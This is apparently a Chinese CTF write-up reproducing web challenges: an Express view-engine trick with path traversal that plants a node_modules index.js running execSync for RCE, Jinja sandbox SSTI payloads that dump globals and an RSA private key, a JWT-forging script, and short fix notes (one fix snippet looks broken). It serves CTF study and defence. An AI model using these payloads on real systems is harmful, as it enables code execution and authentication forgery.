前言
分数实在是难以启齿。终于想起来要复现这个了,就找到了不是 java 的部分 wp,后面的要是找到了再补充吧。
ezjs
谈Express engine处理引擎的一个trick
测试服务
跑起本地服务
break
原理
比如a.natro
这个文件在被 render()
时,他就会自动执行 require natro
。
详细可以阅读引用文章。
测试
我们在 node_modules 下想办法上传一个natro
文件夹,然后添加进 index.js
。这里的rename
方法正好就可以做到。首先我们上传一个 index.js
文件,然后 rename 路径穿越到 node_modules 下面。
因此我们通过此方法,将其他后缀文件解析成需要的 ejs 格式。
首先我们需要上传上去 index.js
1 2 3
| exports.__express = function() { console.log(require('child_process').execSync('whoami').toString()); };
|
然后我们通过 rename 方法路径穿越过去。
我们可以发现文件已经被移动到目标路径下了:
我们再次上传一个 evil.natro
文件上去。
再从 render 路由下渲染下。
但是我们能发现这个后面只能在控制台输出,用户侧是看不到的。
然后我在这里我就懵了一下,断网你也没法反弹 shell,你 rce 了之后怎么能得到 flag。后面想到了可以给 view 下的文本增加内容。
也就是将前面的那个 index.js 修改一下:
1 2 3
| exports.__express = function() { console.log(require('child_process').execSync('whoami >> ./views/upload.ejs').toString()); };
|
然后再按照流程执行一下,再访问 upload 路由就能看到回显了:
然后直接读取 flag 就行,这种如果有 static 文件夹可能应该更好办一些。
Fix
当时原来里面自带的直接将 ejs 文件后缀过滤掉了,后面改成白名单一些后缀就行了。
或者把.js
这些的也跟着过滤一下。或者直接过滤上传文件的内容也可以。
ShareCard
这个题我就 sb 了,当时因为库不全就跑不起来。
测试服务
跑之前记得把那几个读取文件的地方改成 UTF-8 编码。
将第 28 行修改成对应的内容就能跑起来了。
1 2 3
| return env.from_string(open('templates/'+template_name).read()).render(**kwargs) -> return env.from_string(open('templates/'+template_name, encoding='utf-8').read()).render(**kwargs)
|
break
createCard 路由只传进了三个参数。当时做的时候就呆了,根本没审明白代码。
对传入文件有验证,只能传入 avatars 下的几个表情。
生成的 jwt 密钥也挺长,没法爆破。能注意到 show.html 中有 style.css 的引用。
style 可以传参写入到 style.css 中,然后打 SSTI。
这里的 ssti 是在 sandbox 里面,所以先不考虑什么逃逸的,先看 rsakey 写 jwt 出来。
1 2 3 4 5 6 7 8 9 10 11 12
| {{ info }} name='123' avatar='PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMzYgMzYiPgo8dGl0bGU+8J+koTogY2xvd24gZmFjZSAoVSsxRjkyMSkgLSBlbW9qaWFsbC5jb208L3RpdGxlPgo8c3R5bGU+c3Zne3N0cm9rZTojZWRmMmY2O2FuaW1hdGlvbjpkYXNob2Zmc2V0IDEwcyBib3RoIGluZmluaXRlLGZpbGwtb3BhY2l0eSAxMHMgYm90aCBpbmZpbml0ZSxzdHJva2Utb3BhY2l0eSAxMHMgYm90aCBpbmZpbml0ZTtzdHJva2UtZGFzaGFycmF5OjUwMCU7c3Ryb2tlLWRhc2hvZmZzZXQ6NTAwJX1Aa2V5ZnJhbWVzIHN0cm9rZS1vcGFjaXR5ezIlLDI1JXtzdHJva2Utb3BhY2l0eTouNzU7c3Ryb2tlLXdpZHRoOjIlfTEwMCUsNzUle3N0cm9rZS1vcGFjaXR5OjA7c3Ryb2tlLXdpZHRoOjB9fUBrZXlmcmFtZXMgZmlsbC1vcGFjaXR5ezEwJSwyNSV7ZmlsbC1vcGFjaXR5OjB9MCUsMTAwJSw1MCV7ZmlsbC1vcGFjaXR5OjF9fUBrZXlmcmFtZXMgZGFzaG9mZnNldHswJSwyJXtzdHJva2UtZGFzaG9mZnNldDo1MDAlfTEwMCV7c3Ryb2tlLWRhc2hvZmZzZXQ6MCV9fTwvc3R5bGU+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjI5IiBjeT0iMyIgcj0iMiIvPgo8Y2lyY2xlIGZpbGw9IiM0Mjg5QzEiIGN4PSIzMyIgY3k9IjgiIHI9IjMiLz4KPGNpcmNsZSBmaWxsPSIjNDI4OUMxIiBjeD0iMzMiIGN5PSI0IiByPSIzIi8+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjciIGN5PSIzIiByPSIyIi8+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjMiIGN5PSI4IiByPSIzIi8+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjMiIGN5PSI0IiByPSIzIi8+CjxwYXRoIGZpbGw9IiNGRUU3QjgiIGQ9Ik0zNiAxOGMwIDkuOTQxLTguMDU5IDE4LTE4IDE4UzAgMjcuOTQxIDAgMTggOC4wNTkgMCAxOCAwczE4IDguMDU5IDE4IDE4Ii8+CjxjaXJjbGUgZmlsbD0iIzQyODlDMSIgY3g9IjMwLjUiIGN5PSI0LjUiIHI9IjIuNSIvPgo8Y2lyY2xlIGZpbGw9IiM0Mjg5QzEiIGN4PSIzMiIgY3k9IjciIHI9IjIiLz4KPGNpcmNsZSBmaWxsPSIjNDI4OUMxIiBjeD0iNS41IiBjeT0iNC41IiByPSIyLjUiLz4KPGNpcmNsZSBmaWxsPSIjNDI4OUMxIiBjeD0iNCIgY3k9IjciIHI9IjIiLz4KPGNpcmNsZSBmaWxsPSIjRkY3ODkyIiBjeD0iNi45MyIgY3k9IjIxIiByPSI0Ii8+CjxjaXJjbGUgZmlsbD0iI0ZGNzg5MiIgY3g9IjI4LjkzIiBjeT0iMjEiIHI9IjQiLz4KPHBhdGggZmlsbD0iI0RBMkY0NyIgZD0iTTI3LjMzNSAyMy42MjljLS4xNzgtLjE2MS0uNDQ0LS4xNzEtLjYzNS0uMDI5LS4wMzkuMDI5LTMuOTIyIDIuOS04LjcgMi45LTQuNzY2IDAtOC42NjItMi44NzEtOC43LTIuOS0uMTkxLS4xNDItLjQ1Ny0uMTMtLjYzNS4wMjktLjE3Ny4xNi0uMjE3LjQyNC0uMDk0LjYyOEM4LjcgMjQuNDcyIDExLjc4OCAzMSAxOCAzMXM5LjMwMS02LjUyOCA5LjQyOS02Ljc0M2MuMTIzLS4yMDUuMDg0LS40NjgtLjA5NC0uNjI4eiIvPgo8ZWxsaXBzZSBmaWxsPSIjNjY0NTAwIiBjeD0iMTEuNSIgY3k9IjExLjUiIHJ4PSIyLjUiIHJ5PSIzLjUiLz4KPGVsbGlwc2UgZmlsbD0iIzY2NDUwMCIgY3g9IjI1LjUiIGN5PSIxMS41IiByeD0iMi41IiByeT0iMy41Ii8+CjxjaXJjbGUgZmlsbD0iI0JCMUEzNCIgY3g9IjE4LjUiIGN5PSIxOS41IiByPSIzLjUiLz4KPC9zdmc+Cg==' signature='123'
{{ info.__class__.parse_avatar.__globals__ }} {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000021CAA822150>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\Wxxx\\app.py', '__cached__': None, 'Flask': <class 'flask.app.Flask'>, 'request': <Request 'http://192.168.124.7:8888/showCard?token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIiwiYXZhdGFyIjoiXHVkODNlXHVkZDIxLnN2ZyIsInNpZ25hdHVyZSI6IjEyMyJ9.zUC5uYPKl2nBnkNtGnS3GXZK2bwU8q3twowcd-2dXdhbFEJwydsusDqewYANRfvs_y1fZMT-2samimW5FHj_Z7jSCDDNEOJI6X_uWuDwAi7OpEQ33kIeFkrDDsYOaxH9fvjhyKzvS0JFk4JkFmeMR5oLN95rE-ZC1kz56imX8Vk' [GET]>, 'url_for': <function url_for at 0x0000021CACFD9DA0>, 'redirect': <function redirect at 0x0000021CACFDB9C0>, 'current_app': <Flask 'app'>, 'SandboxedEnvironment': <class 'jinja2.sandbox.SandboxedEnvironment'>, 'RSA': <module 'Crypto.PublicKey.RSA' from 'D:\\xxxixxxy\\RSA.py'>, 'BaseModel': <class 'pydantic.main.BaseModel'>, 'BytesIO': <class '_io.BytesIO'>, 'qrcode': <module 'qrcode' from 'D:\\xxxcode\\__init__.py'>, 'base64': <module 'base64' from 'D:\\Woxxxbase64.py'>, 'json': <module 'json' from 'D:\\Woxxxxxxit__.py'>, 'jwt': <module 'jwt' from 'D:\\Worxxxinit__.py'>, 'os': <module 'os' (frozen)>, 'SaferSandboxedEnvironment': <class '__main__.SaferSandboxedEnvironment'>, 'Info': <class '__main__.Info'>, 'safer_render_template': <function safer_render_template at 0x0000021CAA6104A0>, 'app': <Flask 'app'>, 'rsakey': RsaKey(n=149734774592296373980048608306197654080122234127257312221283100120251564044197667248509985845357592829093610366615583829756117959556423946018582597586879161712532047061373180965436345089737358363339500167282637905609851580352684421699692042026155722938785458026388369373983699569820167456170108741938523560817, e=65537, d=41391428412977970599959574169999081437089498368348522160869055393572141843641104089409511551755814738060551935651482741837079985570043706883831295744124630202233652063663471805977589143223088584562347239668100002301020254397231403690002347907588013892916702806285190813810176439763575430819418285567338314723, p=11847121577569830426493966752991746703740196255647600422238325076230692024115788664210281381915029093272951571324946083081661355694121499411497782522323751, q=12638916011108504477113903105211483241129010131001832284949386618177335357156647556196781089008610706070106941762206462838352105052750694089390474183494567, u=36215855715957604058172274711785367747525773740295424439136094022991532998339818561958029500596118273946533757316359891909623165122799174873286795025101), 'create_card': <function create_card at 0x0000021CBC4DBA60>, 'show_card': <function show_card at 0x0000021CBC4DB9C0>, 'index': <function index at 0x0000021CBC4DBD80>, '__warningregistry__': {'version': 4}}
{{ info.__class__.parse_avatar.__globals__.rsakey }} Private RSA key at 0x21CAD38B2D0
{{ info.__class__.parse_avatar.__globals__.rsakey.__dict__ }} {'_n': Integer(149734774592296373980048608306197654080122234127257312221283100120251564044197667248509985845357592829093610366615583829756117959556423946018582597586879161712532047061373180965436345089737358363339500167282637905609851580352684421699692042026155722938785458026388369373983699569820167456170108741938523560817), '_e': Integer(65537), '_d': Integer(41391428412977970599959574169999081437089498368348522160869055393572141843641104089409511551755814738060551935651482741837079985570043706883831295744124630202233652063663471805977589143223088584562347239668100002301020254397231403690002347907588013892916702806285190813810176439763575430819418285567338314723), '_p': Integer(11847121577569830426493966752991746703740196255647600422238325076230692024115788664210281381915029093272951571324946083081661355694121499411497782522323751), '_q': Integer(12638916011108504477113903105211483241129010131001832284949386618177335357156647556196781089008610706070106941762206462838352105052750694089390474183494567), '_u': Integer(36215855715957604058172274711785367747525773740295424439136094022991532998339818561958029500596118273946533757316359891909623165122799174873286795025101), '_dp': Integer(344005254468702981546577028715737583002236804774362323626646514489021574406706834734457870665186083655010556483076314083714566731554895911928838368249723), '_dq': Integer(5773012966607154455077356141637636004443244553024090963119457534143133404282836330542298883065638669548631327367008719731847204857623815975188120369911803), '_invq': None}
|
然后先写个脚本吧(这个 RSA 这个引入写法卡了我好久,后面搜到的,这断网环境下还真不太好办):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import base64
from Crypto.PublicKey import RSA
import jwt from pydantic import BaseModel
_n = ( 149734774592296373980048608306197654080122234127257312221283100120251564044197667248509985845357592829093610366615583829756117959556423946018582597586879161712532047061373180965436345089737358363339500167282637905609851580352684421699692042026155722938785458026388369373983699569820167456170108741938523560817) _e = (65537) _d = ( 41391428412977970599959574169999081437089498368348522160869055393572141843641104089409511551755814738060551935651482741837079985570043706883831295744124630202233652063663471805977589143223088584562347239668100002301020254397231403690002347907588013892916702806285190813810176439763575430819418285567338314723) _p = ( 11847121577569830426493966752991746703740196255647600422238325076230692024115788664210281381915029093272951571324946083081661355694121499411497782522323751) _q = ( 12638916011108504477113903105211483241129010131001832284949386618177335357156647556196781089008610706070106941762206462838352105052750694089390474183494567) _u = ( 36215855715957604058172274711785367747525773740295424439136094022991532998339818561958029500596118273946533757316359891909623165122799174873286795025101) _dp = ( 344005254468702981546577028715737583002236804774362323626646514489021574406706834734457870665186083655010556483076314083714566731554895911928838368249723) _dq = ( 5773012966607154455077356141637636004443244553024090963119457534143133404282836330542298883065638669548631327367008719731847204857623815975188120369911803) _invq = None rsa_key = RSA.construct((_n, _e, _d, _p, _q, _u, _dp, _dq, _invq)) pem_key = rsa_key.exportKey('PEM')
class Info(BaseModel): name: str avatar: str signature: str
def parse_avatar(self): self.avatar = base64.b64encode(open('avatars/' + self.avatar, 'rb').read()).decode()
def encode_jwt(filename): info_t = Info(name='natro92', avatar=filename, signature='natro92.fun') token = jwt.encode(dict(info_t), pem_key, algorithm='RS256') return token
def decode_jwt(token): public_key = RSA.import_key(pem_key).public_key().export_key('PEM') data = jwt.decode(token, public_key, algorithms='RS256') info_t = Info(**data) return info_t
if __name__ == '__main__': jwt_test = encode_jwt('111.txt') print(jwt_test) info = decode_jwt(jwt_test) print(info.avatar)
|
fix
把 render 时用的 SaferSandboxedEnvironment 类改成原来的 SandboxedEnvironment 类就好了:
改成
SolonMaster
fix
反序列化,把传入点进行关键字过滤
1 2 3 4 5 6 7 8 9 10 11
| @Mapping("/api") @Post public String api(Map map, Context ctx) throws Exception { JSONObject jsonObject = new JSONObject(ctx.body()); if (map.size() != jsonObject.length()) { User user = (User) deserialize((String) map.get("data")); return user.getName(); } return "success"; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @Mapping("/api") @Post public String api(Map map, Context ctx) throws Exception { JSONObject jsonObject = new JSONObject(ctx.body()); if (map.size() != jsonObject.length()) { byte[] decodedata =Base64.getEncoder.decode((String)map.get("data")); String data1 = new String(decodedata); if (data1.contains("snack") && data1.contains("log")) { return "false";} else{ User user = (User)deserialize((String)map.get("data")); return user.getName(); }
} return "success"; }
|
Fobee
没找到 wp 捏